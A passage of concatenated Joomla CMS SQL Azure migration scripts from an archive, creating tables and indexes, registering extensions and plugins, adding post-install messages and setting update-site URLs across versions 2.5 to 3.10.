  [core_type_alias] [nvarchar](255) NOT NULL,
  [core_title] [nvarchar](255) NOT NULL DEFAULT '',
  [core_alias] [nvarchar](255) NOT NULL DEFAULT '',
  [core_body] [nvarchar](max) NOT NULL,
  [core_state] [smallint] NOT NULL DEFAULT '0',
  [core_checked_out_time] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
  [core_checked_out_user_id] [bigint] NOT NULL DEFAULT '0',
  [core_access] [bigint] NOT NULL DEFAULT '0',
  [core_params] [nvarchar](max) NOT NULL,
  [core_featured] [tinyint] NOT NULL DEFAULT '0',
  [core_metadata] [nvarchar](max) NOT NULL,
  [core_created_user_id] [bigint] NOT NULL DEFAULT '0',
  [core_created_by_alias] [nvarchar](255) NOT NULL DEFAULT '',
  [core_created_time] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
  [core_modified_user_id] [bigint] NOT NULL DEFAULT '0',
  [core_modified_time] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
  [core_language] [nvarchar](7) NOT NULL,
  [core_publish_up] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
  [core_publish_down] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
  [core_content_item_id] [bigint] NOT NULL DEFAULT '0',
  [asset_id] [bigint] NOT NULL DEFAULT '0',
  [core_images] [nvarchar](max) NOT NULL,
  [core_urls] [nvarchar](max) NOT NULL,
  [core_hits] [bigint] NOT NULL DEFAULT '0',
  [core_version] [bigint] NOT NULL DEFAULT '1',
  [core_ordering] [int] NOT NULL DEFAULT '0',
  [core_metakey] [nvarchar](max) NOT NULL,
  [core_metadesc] [nvarchar](max) NOT NULL,
  [core_catid] [bigint] NOT NULL DEFAULT '0',
  [core_xreference] [nvarchar](50) NOT NULL,
  [core_type_id] [bigint] NOT NULL DEFAULT '0',
  CONSTRAINT [PK_#__ucm_content_core_content_id] PRIMARY KEY CLUSTERED
    (
      [core_content_id] ASC
    )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY],
  CONSTRAINT [#__ucm_content_core_content_id$idx_type_alias_item_id] UNIQUE NONCLUSTERED
    (
      [core_type_alias] ASC,
      [core_content_item_id] ASC
    )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY];

CREATE NONCLUSTERED INDEX [tag_idx] ON [#__ucm_content]
(
  [core_state] ASC,
  [core_access] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_access] ON [#__ucm_content]
(
  [core_access] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_alias] ON [#__ucm_content]
(
  [core_alias] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_language] ON [#__ucm_content]
(
  [core_language] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_title] ON [#__ucm_content]
(
  [core_title] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_modified_time] ON [#__ucm_content]
(
  [core_modified_time] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_created_time] ON [#__ucm_content]
(
  [core_created_time] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_content_type] ON [#__ucm_content]
(
  [core_type_alias] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_core_modified_user_id] ON [#__ucm_content]
(
  [core_modified_user_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_core_checked_out_user_id] ON [#__ucm_content]
(
  [core_checked_out_user_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_core_created_user_id] ON [#__ucm_content]
(
  [core_created_user_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_core_type_id] ON [#__ucm_content]
(
  [core_type_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);


SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 29, 'com_tags', 'component', 'com_tags', '', 1, 1, 1, 1, '{"name":"com_joomlaupdate","type":"component","creationDate":"March 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.1.0","description":"COM_TAGS_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions] OFF;

INSERT INTO [#__menu] ([menutype], [title], [alias], [note], [path], [link], [type], [published], [parent_id], [level], [component_id], [checked_out], [checked_out_time], [browserNav], [access], [img], [template_style_id], [params], [lft], [rgt], [home], [language], [client_id])
SELECT 'menu', 'com_tags', 'Tags', '', 'Tags', 'index.php?option=com_tags', 'component', 0, 1, 1, 29, 0, '1900-01-01 00:00:00', 0, 0, 'class:tags', 0, '', 43, 44, 0, '*', 1;
com_admin/sql/updates/sqlazure/3.8.8-2018-05-18.sql000060400000001017152455305270015046 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [action_file], [action], [condition_file], [condition_method], [version_introduced], [enabled])
SELECT 700, 'COM_CPANEL_MSG_UPDATEDEFAULTSETTINGS_TITLE', 'COM_CPANEL_MSG_UPDATEDEFAULTSETTINGS_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/updatedefaultsettings.php', 'admin_postinstall_updatedefaultsettings_condition', '3.8.8', 1;
com_admin/sql/updates/sqlazure/3.7.0-2016-08-06.sql000060400000000725152455305270015040 0ustar00SET IDENTITY_INSERT #__extensions  ON;

INSERT INTO #__extensions ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 458, 'plg_quickicon_phpversioncheck', 'plugin', 'phpversioncheck', 'quickicon', 0, 1, 1, 1, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT #__extensions  OFF;
com_admin/sql/updates/sqlazure/3.6.0-2016-05-06.sql000060400000001540152455305270015030 0ustar00DELETE FROM [#__extensions] WHERE [type] = 'library' AND [element] = 'simplepie';

SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 455, 'plg_installer_packageinstaller', 'plugin', 'packageinstaller', 'installer', 0, 1, 1, 1, '', '', '', '', 0, '1900-01-01 00:00:00', 1, 0
UNION ALL
SELECT 456, 'plg_installer_folderinstaller', 'plugin', 'folderinstaller', 'installer', 0, 1, 1, 1, '', '', '', '', 0, '1900-01-01 00:00:00', 2, 0
UNION ALL
SELECT 457, 'plg_installer_urlinstaller', 'plugin', 'urlinstaller', 'installer', 0, 1, 1, 1, '', '', '', '', 0, '1900-01-01 00:00:00', 3, 0;

SET IDENTITY_INSERT [#__extensions] OFF;
com_admin/sql/updates/sqlazure/3.7.0-2017-01-09.sql000060400000000726152455305270015036 0ustar00-- Normalize categories table default values.
ALTER TABLE [#__categories] ADD DEFAULT ('') FOR [title];
ALTER TABLE [#__categories] ADD DEFAULT ('') FOR [description];
ALTER TABLE [#__categories] ADD DEFAULT ('') FOR [params];
ALTER TABLE [#__categories] ADD DEFAULT ('') FOR [metadesc];
ALTER TABLE [#__categories] ADD DEFAULT ('') FOR [metakey];
ALTER TABLE [#__categories] ADD DEFAULT ('') FOR [metadata];
ALTER TABLE [#__categories] ADD DEFAULT ('') FOR [language];
com_admin/sql/updates/sqlazure/3.9.0-2018-05-03.sql000060400000000750152455305270015034 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(482, 0, 'plg_content_confirmconsent', 'plugin', 'confirmconsent', 'content', 0, 0, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;
com_admin/sql/updates/sqlazure/3.9.7-2019-04-23.sql000060400000000300152455305270015034 0ustar00CREATE NONCLUSTERED INDEX [idx_client_id_guest] ON [#__session]
(
	[client_id] ASC,
	[guest] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);
com_admin/sql/updates/sqlazure/3.7.0-2016-10-02.sql000060400000000102152455305270015012 0ustar00ALTER TABLE [#__session] ALTER COLUMN [client_id] [tinyint] NULL;
com_admin/sql/updates/sqlazure/3.10.7-2022-02-20.sql000060400000000152152455305270015076 0ustar00DELETE FROM [#__postinstall_messages] WHERE [title_key] = 'COM_ADMIN_POSTINSTALL_MSG_FLOC_BLOCKER_TITLE';
com_admin/sql/updates/sqlazure/3.5.0-2015-10-13.sql000060400000000713152455305270015021 0ustar00SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 453, 'plg_editors-xtd_module', 'plugin', 'module', 'editors-xtd', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions] OFF;
com_admin/sql/updates/sqlazure/2.5.4-2012-03-19.sql000060400000000531152455305270015027 0ustar00ALTER TABLE [#__languages] ADD  [access] INTEGER CONSTRAINT DF_languages_access DEFAULT '' NOT NULL

CREATE UNIQUE INDEX idx_access ON [#__languages] (access);

UPDATE [#__categories] SET [extension] = 'com_users.notes' WHERE [extension] = 'com_users';

UPDATE [#__extensions] SET [enabled] = '1' WHERE [protected] = '1' AND [type] <> 'plugin';
com_admin/sql/updates/sqlazure/3.7.0-2016-11-19.sql000060400000000242152455305270015030 0ustar00ALTER TABLE [#__menu_types] ADD [client_id] [tinyint] NOT NULL DEFAULT 0;

UPDATE [#__menu] SET [published] = 1 WHERE [menutype] = 'main' OR [menutype] = 'menu';
com_admin/sql/updates/sqlazure/2.5.3-2012-03-13.sql000060400000000046152455305270015021 0ustar00# Dummy SQL file to set schema versioncom_admin/sql/updates/sqlazure/2.5.7.sql000060400000001024152455305270013777 0ustar00INSERT INTO [#__update_sites] ([name], [type], [location], [enabled], [last_check_timestamp])
SELECT 'Accredited Joomla! Translations', 'collection', 'https://update.joomla.org/language/translationlist.xml', 1, 0;

INSERT INTO [#__update_sites_extensions] ([update_site_id], [extension_id])
SELECT SCOPE_IDENTITY(), 600;

UPDATE [#__assets] SET [name] = REPLACE([name], 'com_user.notes.category', 'com_users.category');
UPDATE [#__categories] SET [extension] = REPLACE([extension], 'com_user.notes.category', 'com_users.category');
com_admin/sql/updates/sqlazure/3.9.8-2019-06-11.sql000060400000000102152455305270015034 0ustar00UPDATE [#__users] SET [params] = REPLACE([params], '",,"', '","');com_admin/sql/updates/sqlazure/3.7.0-2017-01-31.sql000060400000000677152455305270015036 0ustar00SET IDENTITY_INSERT #__extensions  ON;

INSERT INTO #__extensions ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 477, 'plg_content_fields', 'plugin', 'fields', 'content', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT #__extensions  OFF;
com_admin/sql/updates/sqlazure/3.7.0-2017-04-19.sql000060400000000250152455305270015032 0ustar00-- Set integer field default values.
UPDATE [#__extensions] SET [params] = '{"multiple":"0","first":"1","last":"100","step":"1"}' WHERE [name] = 'plg_fields_integer';

com_admin/sql/updates/sqlazure/3.10.1-2021-08-17.sql000060400000000505152455305270015105 0ustar00--
-- These database columns are not used in Joomla 3.10 but will be used in Joomla 4.
-- They are added to 3.10 because otherwise the update to 4 will fail.
--
ALTER TABLE [#__template_styles] ADD [inheritable] [smallint] NOT NULL DEFAULT 0;
ALTER TABLE [#__template_styles] ADD [parent] [nvarchar](50) NOT NULL DEFAULT '';
com_admin/sql/updates/sqlazure/3.1.3.sql000060400000000072152455305270013772 0ustar00# Placeholder file for database changes for version 3.1.3
com_admin/sql/updates/sqlazure/3.6.0-2016-06-01.sql000060400000000125152455305270015022 0ustar00UPDATE [#__extensions] SET [protected] = 1, [enabled] = 1 WHERE [name] = 'com_ajax';
com_admin/sql/updates/sqlazure/3.7.0-2017-04-10.sql000060400000001144152455305270015024 0ustar00INSERT INTO "#__postinstall_messages" ("extension_id", "title_key", "description_key", "action_key", "language_extension", "language_client_id", "type", "action_file", "action", "condition_file", "condition_method", "version_introduced", "enabled")
VALUES
(700, 'TPL_HATHOR_MESSAGE_POSTINSTALL_TITLE', 'TPL_HATHOR_MESSAGE_POSTINSTALL_BODY', 'TPL_HATHOR_MESSAGE_POSTINSTALL_ACTION', 'tpl_hathor', 1, 'action', 'admin://templates/hathor/postinstall/hathormessage.php', 'hathormessage_postinstall_action', 'admin://templates/hathor/postinstall/hathormessage.php', 'hathormessage_postinstall_condition', '3.7.0', 1);com_admin/sql/updates/sqlazure/3.9.0-2018-07-11.sql000060400000000740152455305270015034 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(493, 0, 'plg_privacy_actionlogs', 'plugin', 'actionlogs', 'privacy', 0, 1, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;
com_admin/sql/updates/sqlazure/3.1.4.sql000060400000000675152455305270014004 0ustar00SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 104, 'IDNA Convert', 'library', 'idna_convert', '', 0, 1, 1, 1, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions] OFF;
com_admin/sql/updates/sqlazure/3.10.0-2021-05-28.sql000060400000000564152455305270015110 0ustar00INSERT INTO "#__extensions" ("package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(0, 'plg_quickicon_eos310', 'plugin', 'eos310', 'quickicon', 0, 1, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0);
com_admin/sql/updates/sqlazure/3.7.0-2016-10-01.sql000060400000000717152455305270015025 0ustar00SET IDENTITY_INSERT [#__extensions]  ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 460, 'plg_editors-xtd_contact', 'plugin', 'contact', 'editors-xtd', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions]  OFF;
com_admin/sql/updates/sqlazure/3.9.3-2019-02-07.sql000060400000000743152455305270015043 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [action_file], [action], [condition_file], [condition_method], [version_introduced], [enabled])
SELECT 700, 'COM_CPANEL_MSG_ADDNOSNIFF_TITLE', 'COM_CPANEL_MSG_ADDNOSNIFF_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/addnosniff.php', 'admin_postinstall_addnosniff_condition', '3.9.3', 1;
com_admin/sql/updates/sqlazure/3.5.0-2015-11-05.sql000060400000001671152455305270015027 0ustar00SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 454, 'plg_system_stats', 'plugin', 'stats', 'system', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions] OFF;

INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [action_file], [action], [condition_file], [condition_method], [version_introduced], [enabled])
SELECT 700, 'COM_CPANEL_MSG_STATS_COLLECTION_TITLE', 'COM_CPANEL_MSG_STATS_COLLECTION_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/statscollection.php', 'admin_postinstall_statscollection_condition', '3.5.0', 1;
com_admin/sql/updates/sqlazure/3.4.0-2014-09-01.sql000060400000001464152455305270015030 0ustar00SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 801, 'weblinks', 'package', 'pkg_weblinks', '', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions] OFF;

INSERT INTO [#__update_sites] ([name], [type], [location], [enabled])
SELECT 'Weblinks Update Site', 'extension', 'https://raw.githubusercontent.com/joomla-extensions/weblinks/master/manifest.xml', 1;

INSERT INTO [#__update_sites_extensions] ([update_site_id], [extension_id])
SELECT (SELECT [update_site_id] FROM [#__update_sites] WHERE [name] = 'Weblinks Update Site'), 801;
com_admin/sql/updates/sqlazure/3.9.0-2018-09-04.sql000060400000001042152455305270015034 0ustar00CREATE TABLE "#__action_logs_users" (
  "user_id" int NOT NULL,
  "notify" tinyint NOT NULL,
  "extensions" nvarchar(max) NOT NULL,
 CONSTRAINT "PK_#__action_logs_users_user_id" PRIMARY KEY NONCLUSTERED
(
  "user_id" ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY];

CREATE CLUSTERED INDEX "idx_notify" ON "#__action_logs_users"
(
  "notify" ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);
com_admin/sql/updates/sqlazure/3.4.4-2015-07-11.sql000060400000000631152455305270015027 0ustar00ALTER TABLE [#__contentitem_tag_map] DROP CONSTRAINT [#__contentitem_tag_map$uc_ItemnameTagid];

ALTER TABLE [#__contentitem_tag_map] ADD CONSTRAINT [#__contentitem_tag_map$uc_ItemnameTagid] UNIQUE NONCLUSTERED
(
  [type_id] ASC,
  [content_item_id] ASC,
  [tag_id] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY];
com_admin/sql/updates/sqlazure/3.9.0-2018-10-20.sql000060400000002162152455305270015026 0ustar00-- Drop default values
DECLARE @table AS nvarchar(100)
DECLARE @constraintName AS nvarchar(100)
DECLARE @constraintQuery AS nvarchar(1000)
SET QUOTED_IDENTIFIER OFF
SET @table = "#__privacy_requests"
SET QUOTED_IDENTIFIER ON

-- Drop default value from checked_out
SELECT @constraintName = name FROM sys.default_constraints
WHERE parent_object_id = object_id(@table)
AND parent_column_id = columnproperty(object_id(@table), 'checked_out', 'ColumnId')
SET @constraintQuery = 'ALTER TABLE [' + @table + '] DROP CONSTRAINT [' + @constraintName + ']'
EXECUTE sp_executesql @constraintQuery

-- Drop default value from checked_out_time
SELECT @constraintName = name FROM sys.default_constraints
WHERE parent_object_id = object_id(@table)
AND parent_column_id = columnproperty(object_id(@table), 'checked_out_time', 'ColumnId')
SET @constraintQuery = 'ALTER TABLE [' + @table + '] DROP CONSTRAINT [' + @constraintName + ']'
EXECUTE sp_executesql @constraintQuery;

DROP INDEX "idx_checkout" ON "#__privacy_requests";
ALTER TABLE "#__privacy_requests" DROP COLUMN "checked_out";
ALTER TABLE "#__privacy_requests" DROP COLUMN "checked_out_time";
com_admin/sql/updates/sqlazure/3.7.0-2017-01-15.sql000060400000000706152455305270015031 0ustar00SET IDENTITY_INSERT #__extensions  ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state]) VALUES
(34, 'com_associations', 'component', 'com_associations', '', 1, 1, 1, 1, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT #__extensions  OFF;
com_admin/sql/updates/sqlazure/3.6.0-2016-04-08.sql000060400000001305152455305270015030 0ustar00SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 802, 'English (United Kingdom)', 'package', 'pkg_en-GB', '', 0, 1, 1, 1, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions] OFF;

UPDATE [#__update_sites_extensions]
SET [extension_id] = 802
WHERE [update_site_id] IN (
			SELECT [update_site_id]
			FROM [#__update_sites]
			WHERE [name] = 'Accredited Joomla! Translations'
			AND [type] = 'collection'
			)
AND [extension_id] = 600;
com_admin/sql/updates/sqlazure/3.6.3-2016-08-16.sql000060400000001351152455305270015037 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [action_file], [action], [condition_file], [condition_method], [version_introduced], [enabled])
SELECT 700, 'PLG_SYSTEM_UPDATENOTIFICATION_POSTINSTALL_UPDATECACHETIME', 'PLG_SYSTEM_UPDATENOTIFICATION_POSTINSTALL_UPDATECACHETIME_BODY', 'PLG_SYSTEM_UPDATENOTIFICATION_POSTINSTALL_UPDATECACHETIME_ACTION', 'plg_system_updatenotification', 1, 'action', 'site://plugins/system/updatenotification/postinstall/updatecachetime.php', 'updatecachetime_postinstall_action', 'site://plugins/system/updatenotification/postinstall/updatecachetime.php', 'updatecachetime_postinstall_condition', '3.6.3', 1;
com_admin/sql/updates/sqlazure/3.0.3.sql000060400000000614152455305270013773 0ustar00ALTER TABLE [#__associations] DROP CONSTRAINT [PK_#__associations_context];
ALTER TABLE [#__associations] ALTER COLUMN [id] INT NOT NULL;
ALTER TABLE [#__associations] ADD CONSTRAINT [PK_#__associations_context] PRIMARY KEY CLUSTERED(
	[context] ASC,
	[id] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY];
com_admin/sql/updates/sqlazure/3.6.0-2016-04-06.sql000060400000000111152455305270015020 0ustar00ALTER TABLE [#__redirect_links] ALTER COLUMN [new_url] [nvarchar](2048);
com_admin/sql/updates/sqlazure/3.2.2-2014-01-15.sql000060400000000743152455305270015024 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [action_file], [action], [condition_file], [condition_method], [version_introduced], [enabled])
SELECT 700, 'COM_CPANEL_MSG_PHPVERSION_TITLE', 'COM_CPANEL_MSG_PHPVERSION_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/phpversion.php', 'admin_postinstall_phpversion_condition', '3.2.2', 1;
com_admin/sql/updates/sqlazure/3.6.0-2016-04-01.sql000060400000001651152455305270015025 0ustar00-- Rename update site names
UPDATE [#__update_sites] SET [name] = 'Joomla! Core' WHERE [name] = 'Joomla Core' AND [type] = 'collection';
UPDATE [#__update_sites] SET [name] = 'Joomla! Extension Directory' WHERE [name] = 'Joomla Extension Directory' AND [type] = 'collection';

UPDATE [#__update_sites] SET [location] = 'https://update.joomla.org/core/list.xml' WHERE [name] = 'Joomla! Core' AND [type] = 'collection';
UPDATE [#__update_sites] SET [location] = 'https://update.joomla.org/jed/list.xml' WHERE [name] = 'Joomla! Extension Directory' AND [type] = 'collection';
UPDATE [#__update_sites] SET [location] = 'https://update.joomla.org/language/translationlist_3.xml' WHERE [name] = 'Accredited Joomla! Translations' AND [type] = 'collection';
UPDATE [#__update_sites] SET [location] = 'https://update.joomla.org/core/extensions/com_joomlaupdate.xml' WHERE [name] = 'Joomla! Update Component Update Site' AND [type] = 'extension';
com_admin/sql/updates/sqlazure/3.2.3-2014-02-20.sql000060400000000235152455305270015016 0ustar00UPDATE [#__extensions] SET [params] = (SELECT [params] FROM [#__extensions] WHERE [name] = 'plg_system_remember') WHERE [name] = 'plg_authentication_cookie';com_admin/sql/updates/sqlazure/3.2.2-2013-12-22.sql000060400000000237152455305270015021 0ustar00ALTER TABLE [#__update_sites] ADD [extra_query] [nvarchar](1000) NULL DEFAULT '';
ALTER TABLE [#__updates] ADD [extra_query] [nvarchar](1000) NULL DEFAULT '';
com_admin/sql/updates/sqlazure/3.9.0-2018-06-12.sql000060400000000743152455305270015037 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(320, 0, 'mod_privacy_dashboard', 'module', 'mod_privacy_dashboard', '', 1, 1, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;
com_admin/sql/updates/sqlazure/3.9.7-2019-05-16.sql000060400000000105152455305270015042 0ustar00# Query removed, see https://github.com/joomla/joomla-cms/pull/25177
com_admin/sql/updates/sqlazure/3.9.0-2018-05-24.sql000060400000002376152455305270015045 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(485, 0, 'plg_system_privacyconsent', 'plugin', 'privacyconsent', 'system', 0, 0, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;

--
-- Table structure for table `#__privacy_consents`
--

CREATE TABLE "#__privacy_consents" (
  "id" int IDENTITY(1,1) NOT NULL,
  "user_id" bigint NOT NULL DEFAULT 0,
  "created" datetime2(0) NOT NULL DEFAULT '1900-01-01 00:00:00',
  "subject" nvarchar(255) NOT NULL DEFAULT '',
  "body" nvarchar(max) NOT NULL,
  "remind" smallint NOT NULL,
  "token" nvarchar(100) NOT NULL DEFAULT '',
CONSTRAINT "PK_#__privacy_consents_id" PRIMARY KEY CLUSTERED(
  "id" ASC)
WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON
) ON [PRIMARY]) ON [PRIMARY];

CREATE NONCLUSTERED INDEX "idx_user_id" ON "#__privacy_consents" (
  "user_id" ASC)
WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);
